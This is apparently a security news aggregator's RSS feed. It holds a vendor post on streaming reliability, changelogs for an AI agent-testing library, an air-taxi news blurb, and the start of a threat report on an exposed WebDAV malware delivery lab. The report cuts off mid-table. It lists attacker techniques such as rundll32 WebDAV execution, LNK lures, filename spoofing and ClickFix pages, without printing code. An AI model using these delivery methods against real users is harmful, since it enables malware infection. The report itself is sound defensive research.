<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[python: v0.7.32]]></title>
<description><![CDATA[0.7.32 (2026-07-20)
Features

#660: expose context param on scenario.judge() public API (#667) (900f3d8)
#666: per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (#670) (007a69f)
events: support LANGWATCH_PROJECT_ID via X-Project-Id header (#619) (7aec1c7)
...]]></description>
<link>https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681369/it-security-tools/python-v0732/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:58 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/python/v0.7.31...python/v0.7.32">0.7.32</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639907852" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/660" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/660/hovercard" href="https://github.com/langwatch/scenario/issues/660">#660</a>:</strong> expose context param on scenario.judge() public API (<a href="https://github.com/langwatch/scenario/issues/667" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/667/hovercard">#667</a>) (<a href="https://github.com/langwatch/scenario/commit/900f3d866d5787a015780965e9de4f518b753ad7">900f3d8</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650318823" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/666" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/666/hovercard" href="https://github.com/langwatch/scenario/issues/666">#666</a>:</strong> per-role voice modality negotiation — declaration-first, two-phase validation, OTEL stamps (<a href="https://github.com/langwatch/scenario/issues/670" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/670/hovercard">#670</a>) (<a href="https://github.com/langwatch/scenario/commit/007a69faff6f33b9b5a6e9d4f811e9e2d8c81fdd">007a69f</a>)</li>
<li><strong>events:</strong> support LANGWATCH_PROJECT_ID via X-Project-Id header (<a href="https://github.com/langwatch/scenario/issues/619" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/619/hovercard">#619</a>) (<a href="https://github.com/langwatch/scenario/commit/7aec1c7c88a08ee4d732609fa480489e100f22e5">7aec1c7</a>)</li>
<li><strong>tracing:</strong> stamp scenario SDK name+version as trace attributes (<a href="https://github.com/langwatch/scenario/issues/744" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/744/hovercard">#744</a>) (<a href="https://github.com/langwatch/scenario/issues/745" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/745/hovercard">#745</a>) (<a href="https://github.com/langwatch/scenario/commit/43dd4fae3b439561b9ff196a9c0297968c1ae607">43dd4fa</a>)</li>
<li><strong>voice:</strong> continuous ElevenLabs mic pump + is_connected guard (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice A) (<a href="https://github.com/langwatch/scenario/issues/741" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/741/hovercard">#741</a>) (<a href="https://github.com/langwatch/scenario/commit/b6e7f93c43fee650c0fe37f27153a4805f3e7eb8">b6e7f93</a>)</li>
<li><strong>voice:</strong> harvest voice result fields on exit paths + concrete typing (<a href="https://github.com/langwatch/scenario/issues/740" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/740/hovercard">#740</a> slice E) (<a href="https://github.com/langwatch/scenario/issues/742" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/742/hovercard">#742</a>) (<a href="https://github.com/langwatch/scenario/commit/439b7be5bb02c9fa9ebf56ef71f76537e043ffde">439b7be</a>)</li>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
<li><strong>voice:</strong> realtime_langwatch_session context manager for live OpenAI Realtime apps (<a href="https://github.com/langwatch/scenario/issues/673" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/673/hovercard">#673</a>) (<a href="https://github.com/langwatch/scenario/issues/676" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/676/hovercard">#676</a>) (<a href="https://github.com/langwatch/scenario/commit/e89d00c344eeac18a8673eb974d905afa14014b4">e89d00c</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3654909090" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/161" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/161/hovercard" href="https://github.com/langwatch/scenario/issues/161">#161</a>:</strong> re-parse criteria when LLM returns stringified JSON dict (<a href="https://github.com/langwatch/scenario/issues/552" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/552/hovercard">#552</a>) (<a href="https://github.com/langwatch/scenario/commit/b8198493aa638f0c31821050d7d4502b08e5f88e">b819849</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485409944" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/488" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/488/hovercard" href="https://github.com/langwatch/scenario/issues/488">#488</a>:</strong> log voice adapter and ffmpeg disconnect failures at WARNING (<a href="https://github.com/langwatch/scenario/issues/556" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/556/hovercard">#556</a>) (<a href="https://github.com/langwatch/scenario/commit/86bf4662c0a5f16ec23c25a11ea78368d39bff26">86bf466</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634746372" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/655" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/655/hovercard" href="https://github.com/langwatch/scenario/issues/655">#655</a>:</strong> replace brittle judge criteria with generic behavioral criteria in audio examples (<a href="https://github.com/langwatch/scenario/issues/679" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/679/hovercard">#679</a>) (<a href="https://github.com/langwatch/scenario/commit/732d426ae4865c8027fb03182cf8211461c11514">732d426</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647094960" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/664" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/664/hovercard" href="https://github.com/langwatch/scenario/issues/664">#664</a>:</strong> transcribe agent turns at runtime so the voice user simulator can read them (<a href="https://github.com/langwatch/scenario/issues/665" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/665/hovercard">#665</a>) (<a href="https://github.com/langwatch/scenario/commit/4b99682bee8ca6820537a100551ec83e97bcd89f">4b99682</a>)</li>
<li><strong><a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710280252" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/695" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/695/hovercard" href="https://github.com/langwatch/scenario/issues/695">#695</a>:</strong> twilio terminal sentinel on silent/tool-only stop (dead-recv-loop hang) (<a href="https://github.com/langwatch/scenario/issues/697" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/697/hovercard">#697</a>) (<a href="https://github.com/langwatch/scenario/commit/e675224226974eeb69a0ddffee48d47cca35b77c">e675224</a>)</li>
<li><strong>python:</strong> derive scenario.<strong>version</strong> from package metadata (<a href="https://github.com/langwatch/scenario/issues/800" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/800/hovercard">#800</a>) (<a href="https://github.com/langwatch/scenario/commit/0d505a7cfcc9467821ed61119f291944b626cc7f">0d505a7</a>)</li>
<li><strong>security:</strong> bump pyjwt to 2.13.0 (<a href="https://github.com/langwatch/scenario/issues/677" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/677/hovercard">#677</a>) (<a href="https://github.com/langwatch/scenario/commit/00807b770ad997a12ca1c10418e409e6f0cdf44b">00807b7</a>)</li>
<li><strong>security:</strong> bump python/uv.lock security floors (cryptography, python-multipart, starlette, python-liquid, pydantic-settings) (<a href="https://github.com/langwatch/scenario/issues/685" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/685/hovercard">#685</a>) (<a href="https://github.com/langwatch/scenario/commit/ee9a5d5f2d1c55b23e122dbdb138d82d38ab861c">ee9a5d5</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
<li><strong>security:</strong> raise vite 8.x floor to &gt;=8.0.16 across scenario workspaces (<a href="https://github.com/langwatch/scenario/issues/709" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/709/hovercard">#709</a>) (<a href="https://github.com/langwatch/scenario/commit/42d877ed4b187b3a7478f38f6efdce932cb696d9">42d877e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4485412046" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/491" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/491/hovercard" href="https://github.com/langwatch/scenario/issues/491">#491</a>:</strong> diagnose + resolve multi-turn <a href="https://github.com/e2e">@e2e</a> suite-wedge + tighten VAD tests (<a href="https://github.com/langwatch/scenario/issues/694" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/694/hovercard">#694</a>) (<a href="https://github.com/langwatch/scenario/commit/2dfc381df3c27f073706e5aed56d6852a9d8ebf0">2dfc381</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4487734199" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/498" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/498/hovercard" href="https://github.com/langwatch/scenario/issues/498">#498</a>:</strong> surface recv-loop termination as attributable PipecatRecvError (<a href="https://github.com/langwatch/scenario/issues/692" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/692/hovercard">#692</a>) (<a href="https://github.com/langwatch/scenario/commit/c1f552cac4845654a57b27c5f705f61c3a3951cc">c1f552c</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632750761" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/648" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/648/hovercard" href="https://github.com/langwatch/scenario/issues/648">#648</a>:</strong> terminal drain on non-audio completion (EL + WebSocket) (<a href="https://github.com/langwatch/scenario/issues/693" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/693/hovercard">#693</a>) (<a href="https://github.com/langwatch/scenario/commit/c42320e130ae3d0ea67a743ffea8195cc5f76825">c42320e</a>)</li>
<li><strong>voice/<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640224309" data-permission-text="Title is private" data-url="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard" href="https://github.com/langwatch/scenario/issues/662">#662</a>:</strong> guard <a href="https://github.com/langwatch/scenario/issues/662" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/662/hovercard">#662</a>'s response.create call sites against the active-response race (JS + PY) (<a href="https://github.com/langwatch/scenario/issues/669" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/669/hovercard">#669</a>) (<a href="https://github.com/langwatch/scenario/commit/0968374e2232af05cffd32b87c00e341511b2723">0968374</a>)</li>
<li><strong>voice/ts:</strong> explicit EL ConvAI turn-commit so scripted next-turn receive re-engages (<a href="https://github.com/langwatch/scenario/issues/596" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/596/hovercard">#596</a>) (<a href="https://github.com/langwatch/scenario/commit/795ae8eb7e672e180fea6a657d472e566431883b">795ae8e</a>)</li>
<li><strong>voice:</strong> guard response.create on active response in recv_audio (<a href="https://github.com/langwatch/scenario/issues/659" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/659/hovercard">#659</a>) (<a href="https://github.com/langwatch/scenario/commit/5e844ea73f39473f39fe70516c53762437263be1">5e844ea</a>)</li>
<li><strong>voice:</strong> hosted ElevenLabs single-exchange ceiling — docs + enriched timeout error (<a href="https://github.com/langwatch/scenario/issues/643" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/643/hovercard">#643</a>) (<a href="https://github.com/langwatch/scenario/commit/aae16beec4d5b74ee331c29ad960c43632434da0">aae16be</a>)</li>
<li><strong>voice:</strong> skip Twilio e2e fixtures on absent env, not fail (<a href="https://github.com/langwatch/scenario/issues/798" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/798/hovercard">#798</a>) (<a href="https://github.com/langwatch/scenario/commit/4c883d00a4c1155feedeb8c8638b4ece30931613">4c883d0</a>)</li>
<li><strong>voice:</strong> terminate wait=False test drain on end-of-turn, re-enable in CI (<a href="https://github.com/langwatch/scenario/issues/691" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/691/hovercard">#691</a>) (<a href="https://github.com/langwatch/scenario/commit/022056dc3621412256904bc8ddca930baafb2033">022056d</a>)</li>
</ul>
<h3>Documentation</h3>
<ul>
<li><strong>voice:</strong> drop references to a docs/proposals tree that never landed (<a href="https://github.com/langwatch/scenario/issues/613" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/613/hovercard">#613</a>) (<a href="https://github.com/langwatch/scenario/issues/823" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/823/hovercard">#823</a>) (<a href="https://github.com/langwatch/scenario/commit/0ef4314fef19d76013a3dbc56f7667b73a7a9dc9">0ef4314</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[javascript: v0.5.4]]></title>
<description><![CDATA[0.5.4 (2026-07-20)
Features

voice: instrument base + ElevenLabs adapter with LangWatch spans (#777) (2b32872)
voice: instrument Gemini Live adapter with LangWatch spans (#780) (8ba8687)
voice: instrument OpenAI Realtime adapter with LangWatch spans (#782) (3152969)
voice: instrument Pipecat adap...]]></description>
<link>https://tsecurity.de/de/3681368/it-security-tools/javascript-v054/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681368/it-security-tools/javascript-v054/</guid>
<pubDate>Mon, 20 Jul 2026 16:19:57 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/langwatch/scenario/compare/javascript/v0.5.3...javascript/v0.5.4">0.5.4</a> (2026-07-20)</h2>
<h3>Features</h3>
<ul>
<li><strong>voice:</strong> instrument base + ElevenLabs adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/777" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/777/hovercard">#777</a>) (<a href="https://github.com/langwatch/scenario/commit/2b32872aa57b13f80e6b063425efac38a0c7604b">2b32872</a>)</li>
<li><strong>voice:</strong> instrument Gemini Live adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/780" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/780/hovercard">#780</a>) (<a href="https://github.com/langwatch/scenario/commit/8ba8687cf38849074fe97a83a0ea4733cfdec09a">8ba8687</a>)</li>
<li><strong>voice:</strong> instrument OpenAI Realtime adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/782" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/782/hovercard">#782</a>) (<a href="https://github.com/langwatch/scenario/commit/315296936f1d1465f97305431cdedba7730f9136">3152969</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>security:</strong> bump <a href="https://github.com/opentelemetry">@opentelemetry</a> sdk-node/exporter-prometheus to 0.217.0 (<a href="https://github.com/langwatch/scenario/commit/87d5509f8421f7b2370e9b64ab71daf4612e0a1a">87d5509</a>)</li>
<li><strong>security:</strong> bump <a href="https://github.com/opentelemetry">@opentelemetry</a> sdk-node/exporter-prometheus to 0.217.0 (with ReadableSpan migration) (<a href="https://github.com/langwatch/scenario/issues/702" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/702/hovercard">#702</a>) (<a href="https://github.com/langwatch/scenario/commit/87d5509f8421f7b2370e9b64ab71daf4612e0a1a">87d5509</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Electric air taxis go to war]]></title>
<description><![CDATA[Electric aviation is still in its infancy, but manufacturers are already looking beyond mere air taxi trips across cities. Today, one of the leading air taxi startups, San Jose-based Archer Aviation, unveiled a new aircraft it co-developed with defense technology company Anduril - though the plat...]]></description>
<link>https://tsecurity.de/de/3681333/it-nachrichten/electric-air-taxis-go-to-war/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681333/it-nachrichten/electric-air-taxis-go-to-war/</guid>
<pubDate>Mon, 20 Jul 2026 16:02:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Electric aviation is still in its infancy, but manufacturers are already looking beyond mere air taxi trips across cities. Today, one of the leading air taxi startups, San Jose-based Archer Aviation, unveiled a new aircraft it co-developed with defense technology company Anduril - though the platform is designed for both military and commercial uses, the […]]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation 